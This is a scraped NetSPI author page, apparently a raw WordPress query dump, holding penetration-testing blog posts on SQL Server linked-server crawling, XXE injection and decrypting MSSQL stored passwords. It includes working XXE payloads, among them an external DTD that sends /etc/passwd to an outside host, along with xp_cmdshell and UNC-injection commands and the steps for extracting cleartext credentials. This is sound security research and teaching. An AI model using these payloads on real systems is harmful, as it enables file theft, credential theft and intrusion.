Antti Rantasaari

Antti is both a network and application penetration testing expert. He is a resource for other team NetSPI members and has found numerous zeroday vulnerabilities. Though he started as a network penetration tester, he has become one of NetSPI’s lead application security experts and is a lead contributor to NetSPI’s repeatable web application penetration testing process. He has presented on and created a number of techniques for leveraging database technologies for penetration testing. Antti has an MS in Computer Science from the University of Helsinki in Finland and has over 8 years of computer security consulting experience.
More by Antti Rantasaari
WP_Query Object
(
    [query] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "60"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "60"
                            [compare] => LIKE
                        )

                )

        )

    [query_vars] => Array
        (
            [post_type] => Array
                (
                    [0] => post
                    [1] => webinars
                )

            [posts_per_page] => -1
            [post_status] => publish
            [meta_query] => Array
                (
                    [relation] => OR
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "60"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "60"
                            [compare] => LIKE
                        )

                )

            [error] => 
            [m] => 
            [p] => 0
            [post_parent] => 
            [subpost] => 
            [subpost_id] => 
            [attachment] => 
            [attachment_id] => 0
            [name] => 
            [pagename] => 
            [page_id] => 0
            [second] => 
            [minute] => 
            [hour] => 
            [day] => 0
            [monthnum] => 0
            [year] => 0
            [w] => 0
            [category_name] => 
            [tag] => 
            [cat] => 
            [tag_id] => 
            [author] => 
            [author_name] => 
            [feed] => 
            [tb] => 
            [paged] => 0
            [meta_key] => 
            [meta_value] => 
            [preview] => 
            [s] => 
            [sentence] => 
            [title] => 
            [fields] => 
            [menu_order] => 
            [embed] => 
            [category__in] => Array
                (
                )

            [category__not_in] => Array
                (
                )

            [category__and] => Array
                (
                )

            [post__in] => Array
                (
                )

            [post__not_in] => Array
                (
                )

            [post_name__in] => Array
                (
                )

            [tag__in] => Array
                (
                )

            [tag__not_in] => Array
                (
                )

            [tag__and] => Array
                (
                )

            [tag_slug__in] => Array
                (
                )

            [tag_slug__and] => Array
                (
                )

            [post_parent__in] => Array
                (
                )

            [post_parent__not_in] => Array
                (
                )

            [author__in] => Array
                (
                )

            [author__not_in] => Array
                (
                )

            [ignore_sticky_posts] => 
            [suppress_filters] => 
            [cache_results] => 
            [update_post_term_cache] => 1
            [lazy_load_term_meta] => 1
            [update_post_meta_cache] => 1
            [nopaging] => 1
            [comments_per_page] => 50
            [no_found_rows] => 
            [order] => DESC
        )

    [tax_query] => WP_Tax_Query Object
        (
            [queries] => Array
                (
                )

            [relation] => AND
            [table_aliases:protected] => Array
                (
                )

            [queried_terms] => Array
                (
                )

            [primary_table] => wp_posts
            [primary_id_column] => ID
        )

    [meta_query] => WP_Meta_Query Object
        (
            [queries] => Array
                (
                    [0] => Array
                        (
                            [key] => new_authors
                            [value] => "60"
                            [compare] => LIKE
                        )

                    [1] => Array
                        (
                            [key] => new_presenters
                            [value] => "60"
                            [compare] => LIKE
                        )

                    [relation] => OR
                )

            [relation] => OR
            [meta_table] => wp_postmeta
            [meta_id_column] => post_id
            [primary_table] => wp_posts
            [primary_id_column] => ID
            [table_aliases:protected] => Array
                (
                    [0] => wp_postmeta
                )

            [clauses:protected] => Array
                (
                    [wp_postmeta] => Array
                        (
                            [key] => new_authors
                            [value] => "60"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                    [wp_postmeta-1] => Array
                        (
                            [key] => new_presenters
                            [value] => "60"
                            [compare] => LIKE
                            [compare_key] => =
                            [alias] => wp_postmeta
                            [cast] => CHAR
                        )

                )

            [has_or_relation:protected] => 1
        )

    [date_query] => 
    [request] => SELECT   wp_posts.* FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) WHERE 1=1  AND ( 
  ( wp_postmeta.meta_key = 'new_authors' AND wp_postmeta.meta_value LIKE '{d5bff7ea142f5cc1b7320e1279692df2c62096592f674c6416b88625a4c453ff}\"60\"{d5bff7ea142f5cc1b7320e1279692df2c62096592f674c6416b88625a4c453ff}' ) 
  OR 
  ( wp_postmeta.meta_key = 'new_presenters' AND wp_postmeta.meta_value LIKE '{d5bff7ea142f5cc1b7320e1279692df2c62096592f674c6416b88625a4c453ff}\"60\"{d5bff7ea142f5cc1b7320e1279692df2c62096592f674c6416b88625a4c453ff}' )
) AND wp_posts.post_type IN ('post', 'webinars') AND ((wp_posts.post_status = 'publish')) GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC 
    [posts] => Array
        (
            [0] => WP_Post Object
                (
                    [ID] => 6911
                    [post_author] => 60
                    [post_date] => 2017-03-14 07:00:56
                    [post_date_gmt] => 2017-03-14 07:00:56
                    [post_content] => 

Quite a while ago I wrote a blog regarding SQL Server linked servers (https://blog.netspi.com/how-to-hack-database-links-in-sql-server/) and a few Metasploit modules to exploit misconfigured links. Using the same techniques, I wrote a few functions for Scott Sutherland’s excellent PowerUpSQL toolkit to allow linked server enumeration after initial access to a SQL Server has been obtained.

An overview of linked servers has already been covered in my previous blog so I won’t regurgitate that information here. But in a nutshell, SQL Server allows creation of linked servers that provide access to other databases, sometimes with escalated privileges.

Linked Server Crawling

The new Get-SQLServerLinkCrawl function in PowerUpSQL can be used to crawl all accessible linked server paths and enumerate SQL Server version and the privileges that the links are configured with. To run Get-SQLServerLinkCrawl you will need to provide database instance information for the initial database connection and the credentials used for the connection. By default, it runs using integrated authentication, but alternative domain credentials and SQL Server credentials can be provided as well.

Console Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008"

 

Grid Output Example

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView

 

The results will include the instance, version information, the link user, the link user’s privileges on the linked server, the link path to the server, and links on each database instance. Linked servers that are not accessible are marked as broken links.
Img A F Eb E

Additionally, Get-SQLServerLinkCrawl allows arbitrary SQL query execution on all the linked servers using -Query parameter but more complex result sets cannot be displayed in a datatable so the results will need to expanded to make them readable. Xp_cmdshell (for command execution) and xp_dirtree (for UNC path injection) can be executed via -Query parameter too; the script will parse those a little to allow execution over openquery on linked servers:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_cmdshell ‘whoami’”
Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -Query “exec master..xp_dirtree ‘10.2.3.4test’”

Another way to execute SQL queries on linked servers requires a little PowerShell piping:

Get-SQLServerLinkCrawl -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | where Instance -ne "Broken Link" |
foreach-object { Get-SQLQuery -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' -Query (get-SQLServerLinkQuery -Path $_.Path -Sql 'select name from master..sysdatabases') }

 

Fancy Linked Server Graphs

Inspired by BloodHound, I figured it would be nice to create graphs to make it visually easier to understand the linked server crawl paths. To try graphing, install Neo4j and get it running. After that’s working, Get-SQLServerLinkCrawl results have to be exported to an XML file with Export-Clixml:

Get-SQLServerLinkCrawl -verbose -instance "10.2.9.101SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:templinks.xml

 

The exported XML file will then be parsed into a node file and link file so they can be imported into neo4j database. The following script will create the import files and it does provide the required Cypher statements to create the graph. Obviously, all the file paths are hardcoded in PowerShell so those will have to be replaced if you run the script. And the last (optional) Cypher statements create a start node to indicate where the crawl started; the ServerId should be manually updated to point to the first SQL Server that was accessed.

$List = Import-CliXml 'C:templinks.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
    $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"
    if($Server.Path.Count -ne 1){
        $Parentlink = $Server.Path[-2]
        foreach($a in $Servers){
            if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){
                [string]$Parentname = $a.Name
                break
            }
        }
        $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)"
    }
}

$Outnodes | select -unique | out-file C:pathtoneo4jNeo4jdefault.graphdbImportnodes.txt
$Outpaths | select -unique | out-file C: pathtoneo4j default.graphdbImportlinks.txt

<#
 [OPTIONAL] Cypher to clear the neo4j database:
 MATCH (n)
 OPTIONAL MATCH (n)-[r]-()
 DELETE n,r
 --
 Cypher statement to create a neo4j graph - load nodes
 LOAD CSV FROM "file:///nodes.txt" AS row
 CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]});
 ---
 Cypher statement to create a neo4j graph - load links
 USING PERIODIC COMMIT
 LOAD CSV FROM "file:///links.txt" AS row
 MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])})
 CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2);
 ---
 [OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id).
 CREATE (:Start {Id: 1})

 [OPTIONAL] Link start node to the first server
 MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678})
 CREATE (p1)-[:START]->(p2);
#>

 

If everything works nicely, you can view a link network graph (using Neo4j Browser here):
Img A F Bbeda

Conclusion

Linked servers are pretty common in the environments we test and sometimes linked server networks contain hundreds of database servers. The goal of Get-SQLServerLinkCrawl it to provide an easy and automated way to help understand the extent of those networks. If you’ll try the function and run into any problems, please let us know on GitHub.

References:

[post_title] => SQL Server Link Crawling with PowerUpSQL [post_excerpt] => Quite a while ago I wrote a blog regarding SQL Server linked servers and a few Metasploit modules to exploit misconfigured links. Using the same techniques, I wrote a few functions for Scott Sutherland’s excellent PowerUpSQL toolkit to allow linked server enumeration after initial access to a SQL Server has been obtained. [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => sql-server-link-crawling-powerupsql [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:49 [post_modified_gmt] => 2021-06-08 21:47:49 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=6911 [menu_order] => 305 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [1] => WP_Post Object ( [ID] => 3513 [post_author] => 60 [post_date] => 2015-05-04 07:00:02 [post_date_gmt] => 2015-05-04 07:00:02 [post_content] =>

XML External Entity (XXE) injection attacks are a simple way to extract files from a remote server via web requests. For easy use of XXE, the server response must include a reflection point that displays the injected entity (remote file) back to the client. Below is an example of a common XXE injection request and response. The injections have been highlighted.

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467

<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error>no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
</error>
</errors>

However, it’s also very common for nothing to be returned in the error response if the application doesn’t reflect any user input back to the client. This can make simple XXE attacks harder. If connections are allowed to remote systems from the vulnerable server then it’s possible to use an external DTD to extract local files via web requests. This technique has been covered in greater detail at this whitepaper but below is an overview of how the modified XXE injection technique works and can be executed.

1. Host a .dtd file on a web server that is accessible from the vulnerable system. In my example the “netspi.dtd” file is hosted on xxe.netspi.com. The DTD file contains a XXE injection that will send the contents of the /etc/password file to the web server at http://xxe.netspi.com.

<!ENTITY % payload SYSTEM "file:///etc/passwd">

<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external;

2. Next, the attack can be executed by referencing the hosted DTD file as shown below. The request does not even have to contain any XML body, for as long as the server processes XML requests.

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 139

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd">
<root>
<search>name</search>
</root>

3. At this point the XXE attack results in a connection to xxe.netspi.com to load the external DTD file. The hosted DTD file then uses parameter entities to wrap the contents of the /etc/passwd file into another HTTP request to xxe.netspi.com.

4. Now it may be possible to extract the contents of /etc/passwd file without having a reflection point on the page itself, but by reading incoming traffic on xxe.netspi.com. The file contents can be parsed from web server logs or from an actual page.

I should note that only a single line of /etc/passwd can be read using this method, or the HTTP request may fail altogether because of line breaks in the target file. There is another option though. In some cases it’s also possible to make data extraction easier by forcing an error on the server by adding an invalid URI to the request.  Below is an example of a modified DTD:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;

If the server displays verbose errors to client, the error may contain the file contents of the file that’s getting extracted. Below is an example:

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: application/xml
Content-Length: 2467

<?xml version="1.0" encoding="UTF-8"?><root>
<errors>
<errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

The invalid file path causes a “FileNotFoundException”, and an error message that contains /etc/passwd file contents. This same technique was recently covered in this Drupal XXE whitepaper as well but as I had the blog written I thought I could as well publish it :)

References

[post_title] => Forcing XXE Reflection through Server Error Messages [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => forcing-xxe-reflection-server-error-messages [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:25 [post_modified_gmt] => 2021-04-13 00:06:25 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=3513 [menu_order] => 345 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [2] => WP_Post Object ( [ID] => 3534 [post_author] => 60 [post_date] => 2015-04-20 07:00:07 [post_date_gmt] => 2015-04-20 07:00:07 [post_content] =>

Many web and mobile applications rely on web services communication for client-server interaction. Most common data formats for web services are XML, whether SOAP or RESTful, and JSON. While a web service may be programmed to use just one of them, the server may accept data formats that the developers did not anticipate. This may result in JSON endpoints being vulnerable to XML External Entity attacks (XXE), an attack that exploits weakly configured XML parser settings on the server.

XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).

Original JSON

{"search":"name","value":"netspitest"}

XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.

<?xml version="1.0" encoding="UTF-8" ?>

<root>
<search>name</search>
<value>netspitest</value>
</root>

Now the original JSON request can be sent as XML and the server may return a valid response:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

As the server accepts XML input, XXE can be exploited against a JSON endpoint.

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.

So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.

[post_title] => Playing with Content-Type – XXE on JSON Endpoints [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => playing-content-type-xxe-json-endpoints [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:06:27 [post_modified_gmt] => 2021-04-13 00:06:27 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=3534 [menu_order] => 347 [post_type] => post [post_mime_type] => [comment_count] => 9 [filter] => raw ) [3] => WP_Post Object ( [ID] => 2406 [post_author] => 60 [post_date] => 2015-01-26 07:00:11 [post_date_gmt] => 2015-01-26 07:00:11 [post_content] =>

A while ago I posted a blog on how to decrypt SQL Server link passwords (https://blog.netspi.com/decrypting-mssql-database-link-server-passwords/). By using the same technique it is possible to decrypt passwords for SQL Server Credentials as well. I modified the previously released password decryption script a little, namely by just changing the location where the encrypted passwords are stored, and released an updated PowerShell script for Credential decryption.

Similar remarks as with link password decryption... From the offensive point of view, this is pretty far into post exploitation as sysadmin privileges are needed on the SQL server and local administrator privileges are needed on the Windows server. From the defensive point of view, I guess this would be just another reminder that there is a way to disclose most saved passwords. So do not leave unnecessary credentials on database servers and do not grant excessive privileges for credentials used to access external resources.

SQL Server Credentials

Microsoft SQL Server allows users to add Credentials to a database. The credentials, typically Windows usernames and passwords, can be used to access resources outside SQL Server. A single credential can be used by multiple SQL logins for external access.

A simple example of credential use is the SQL Server proxy account. When xp_cmdshell is executed, by default it uses the permissions of the SQL Server service account. However, by configuring a proxy account for the server, it is possible to set xp_cmdshell to use a least privileged account for OS access rather than (quite often excessive) service account permissions.

When credentials are added to a SQL Server, passwords have to be saved to the database using reversible encryption to allow for proper use of the credentials. It is possible to decrypt saved credentials password as explained in this blog.

Credential Password Storage

MSSQL stores credential passwords to the master.sys.sysobjvalues table. I was able to figure out the location of the encrypted passwords after looking at the definition of the master.sys.credentials view using the following query:

SELECT object_definition(OBJECT_ID('sys.credentials'))

Microsoft gives a pretty vague description for the table: “Exists in every database. Contains a row for each general value property of an entity.” Master.sys.sysobjvalues has a lot of data in it, but credential information appears to have valueclass 28. And encrypted passwords are stored in imageval column with valclass=28 and valnum=2. I could not find documentation about valclass and valnum but those values seemed to work on my test systems.

Image

The master.sys.sysobjvalues table cannot be accessed using a normal SQL connection, but rather a Dedicated Administrative Connection (DAC) is needed (more information about DAC at http://technet.microsoft.com/en-us/library/ms178068%28v=sql.105%29.aspx).

MSSQL Encryption

MSSQL encryption basics were detailed in my previous blog (https://blog.netspi.com/decrypting-mssql-database-link-server-passwords/). In a nutshell, the credential passwords are encrypted using Service Master Key (SMK) which can be obtained from the server using DPAPI.

Decrypting Credential Passwords

Depending on the version of the MSSQL server, the credential passwords are encrypted using AES (MSSQL 2012+) or 3DES (MSSQL 2008 and older). Passwords stored in sys.sysobjvalues imageval column must be parsed a little prior to decryption (luckily exactly the same way as link server passwords). After the parsing credential passwords can be decrypted using the SMK.

Decrypting Credential Passwords with PowerShell - Get-MSSQLCredentialPasswords.psm1

A little modified version of "Get-MSSQLLinkPasswords.psm1", unsurprisingly named “Get-MSSQLCredentialPasswords.psm1”, automates credential password decryption. The script can be downloaded from GitHub here: https://github.com/NetSPI/Powershell-Modules/blob/master/Get-MSSQLCredentialPasswords.psm1

The script must be run locally on the MSSQL server (as DPAPI requires access to the local machine key). The user executing the script must also have sysadmin access to all the database instances (for the DAC connection) and local admin privileges on the Windows server (to access the entropy bytes in registry). In addition, if UAC is enabled, the script must be ran as an administrator. Below is a summary of the process used by the script.

  1. Identify all of the MSSQL instances on the server.
  2. Attempt to create a DAC connection to each instance.
  3. Select the encrypted credential passwords from the "imageval" column of the "master.sys.sysobjvalues" table for each instance.
  4. Select the encrypted Service Master Key (SMK) from the "master.sys.key_encryptions" table of each instance where the "key_id" column is equal to 102. Select the version that has been encrypted as LocalMachine based on the "thumbprint" column.
  5. Extract the entropy value from the registry location HKLM:\SOFTWAREMicrosoftMicrosoft SQL Server[instancename]SecurityEntropy.
  6. Use the information to decrypt the SMK.
  7. The script determines the encryption algorithm (AES or 3DES) used to encrypt the SMK based on SQL Server version and SMK key length.
  8. Use the SMK to decrypt the credential passwords.
  9. If successful, the script displays the cleartext credential passwords. Below is an example of the end result:
<code>PS C:&gt; Get-MSSQLCredentialPasswords | out-gridview</code>
Image

I've tested the script with MSSQL 2008 and 2012. There might be some bugs, but it appears to work reliably. Please let me know if you notice any errors or if I did not account for certain situations etc.

[post_title] => Decrypting MSSQL Credential Passwords [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => decrypting-mssql-credential-passwords [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:44:14 [post_modified_gmt] => 2021-06-08 21:44:14 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=2406 [menu_order] => 356 [post_type] => post [post_mime_type] => [comment_count] => 16 [filter] => raw ) [4] => WP_Post Object ( [ID] => 1126 [post_author] => 60 [post_date] => 2014-03-05 07:00:58 [post_date_gmt] => 2014-03-05 07:00:58 [post_content] => Extracting cleartext credentials from critical systems is always fun. While MSSQL server hashes local SQL credentials in the database, linked server credentials are stored encrypted. And if MSSQL can decrypt them, so can you using the PowerShell script released along with this blog. From the offensive point of view, this is pretty far into post exploitation as sysadmin privileges are needed on the SQL server and local administrator privileges are needed on the Windows server. From the defensive point of view, this is just another reminder that unnecessary database links, database links with excessive privileges, and the use of SQL server authentication rather than integrated authentication can result in unnecessary risk. This blog should be interesting to database hackers and admins interested in learning more.

Linked Servers

Microsoft SQL Server allows users to create links to external data sources, typically to other MSSQL servers. When these links are created, they can be configured to use the current security context or static SQL server credentials. If SQL server credentials are used, the user account and password are saved to the database encrypted and thus they are stored in a reversible format. A one-way hash cannot be used, because the SQL server has to be able to access the cleartext credentials to authenticate to other servers. So, if the credentials are encrypted and not hashed, there must be a way for the SQL server to decrypt them prior to use. The remainder of this blog will focus on how that happens.

Linked Server Password Storage

MSSQL stores link server information, including the encrypted password, in master.sys.syslnklgns table. Specifically, the encrypted password is stored in the "pwdhash" column (even though it's not a hash). Below is an example: Ar Mssql The master.sys.syslnklgns table cannot be accessed using a normal SQL connection, but rather a Dedicated Administrative Connection (DAC) is needed (more information about DAC at http://technet.microsoft.com/en-us/library/ms178068%28v=sql.105%29.aspx). Sysadmin privileges are needed to start a DAC connection, but as local administrator privileges are needed anyways, that shouldn't be a problem. If local administrators don't have sysadmin privileges you'll just have to impersonate the MSSQL server account or local SYSTEM account. More details on this can be found on Scott's blog at https://www.netspi.com/blog/entryid/133/sql-server-local-authorization-bypass.

MSSQL Encryption

Time to introduce some MSSQL encryption basics. To move ahead, access to the Service Master Key (SMK) is required (more information about SMK at http://technet.microsoft.com/en-us/library/ms189060.aspx). According to microsoft.com "The Service Master Key is the root of the SQL Server encryption hierarchy. It is generated automatically the first time it is needed to encrypt another key." SMK is stored in master.sys.key_encryptions table and it can be identified by the key_id 102. SMK is encrypted using Windows Data Protection API (DPAPI) and there are two versions of it in the database; one encrypted as LocalMachine and the other in the context of CurrentUser (meaning the SQL Server service account here). We'll choose the former to extract the key as LocalMachine encryption uses the Machinekey for encryption and it can be decrypted without impersonating the service account. Below is an example of what that looks like: Ar Mssql Additional entropy is added to strengthen the encryption but the entropy bytes can be found in the registry at HKLM:SOFTWAREMicrosoftMicrosoft SQL Server[instancename]SecurityEntropy. Once again, local administrator privileges are needed to access the registry key. The entropy is stored in the registry for each MSSQL instance as shown below: Ar Mssql After that (and removing some padding / metadata from the encrypted value) we can decrypt the SMK using DPAPI.

Decrypting Linked Server Passwords

Based on the length of the SMK (or the MSSQL version) we can determine the encryption algorithm: MSSQL 2012 uses AES, earlier versions use 3DES. In additional, the pwdhash value has to be parsed a bit to find the encrypted password. The first answer referring Pro T-SQL Programmer's guide at http://stackoverflow.com/questions/2822592/how-to-get-compatibility-between-c-sharp-and-sql2k8-aes-encryption got me on the right track; even though the byte format didn't seem to match exactly like detailed on the page, it wasn't too hard to find the right bytes to encrypt. So now, using the SMK, it is possible to extract all of the link credentials (when SQL Server account is used, not Windows authentication) in cleartext.

Decrypting Linked Server Passwords with PowerShell - Get-MSSQLLinkPasswords.psm1

To automate the decryption of linked server credentials I wrote a PowerShell script called "Get-MSSQLLinkPasswords.psm1". It can be download from GitHub here: https://github.com/NetSPI/Powershell-Modules/blob/master/Get-MSSQLLinkPasswords.psm1 The script must be run locally on the MSSQL server (as DPAPI requires access to the local machine key). The user executing the script must also have sysadmin access to all the database instances (for the DAC connection) and local admin privileges on the Windows server (to access the entropy bytes in registry). In addition, if UAC is enabled, the script must be ran as an administrator. Below is a summary of the process used by the script.
  1. Identify all of the MSSQL instances on the server.
  2. Attempt to create a DAC connection to each instance.
  3. Select the encrypted linked server credentials from the "pwdhash" column of the "mas-ter.sys.syslnklgns" table for each instance.
  4. Select the encrypted Service Master Key (SMK) from the "master.sys.key_encryptions" table of each instance where the "key_id" column is equal to 102. Select the version that has been encrypted as LocalMachine based on the "thumbprint" column.
  5. Extract the entropy value from the registry location HKLM:SOFTWAREMicrosoftMicrosoft SQL Server[instancename]SecurityEntropy.
  6. Use the information to decrypt the SMK.
  7. The script determines the encryption algorithm (AES or 3DES) used to encrypt the SMK based on SQL Server version and SMK key length.
  8. Use the SMK to decrypt the linked server credentials.
  9. If successful, the script displays the cleartext linked server credentials. Below is an example of the end result:
Ar Mssql I've tested the script with MSSQL 2005, 2008, 2012, 2008 Express, and 2012 Express. There might be some bugs, but it appears to work reliably. Please let me know if you notice any errors or if I did not account for certain situations etc. [post_title] => Decrypting MSSQL Database Link Server Passwords [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => decrypting-mssql-database-link-server-passwords [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:47:53 [post_modified_gmt] => 2021-06-08 21:47:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1126 [menu_order] => 387 [post_type] => post [post_mime_type] => [comment_count] => 61 [filter] => raw ) [5] => WP_Post Object ( [ID] => 1159 [post_author] => 60 [post_date] => 2013-06-06 07:00:24 [post_date_gmt] => 2013-06-06 07:00:24 [post_content] => Microsoft SQL Server allows links to be created to external data sources such as other SQL servers, Oracle databases, excel spreadsheets, and so on. Due to common misconfigurations the links, or “Linked Servers”, can often be exploited to traverse database link networks, gain unauthorized access to data, and deploy shells...

Introduction to SQL Server Links

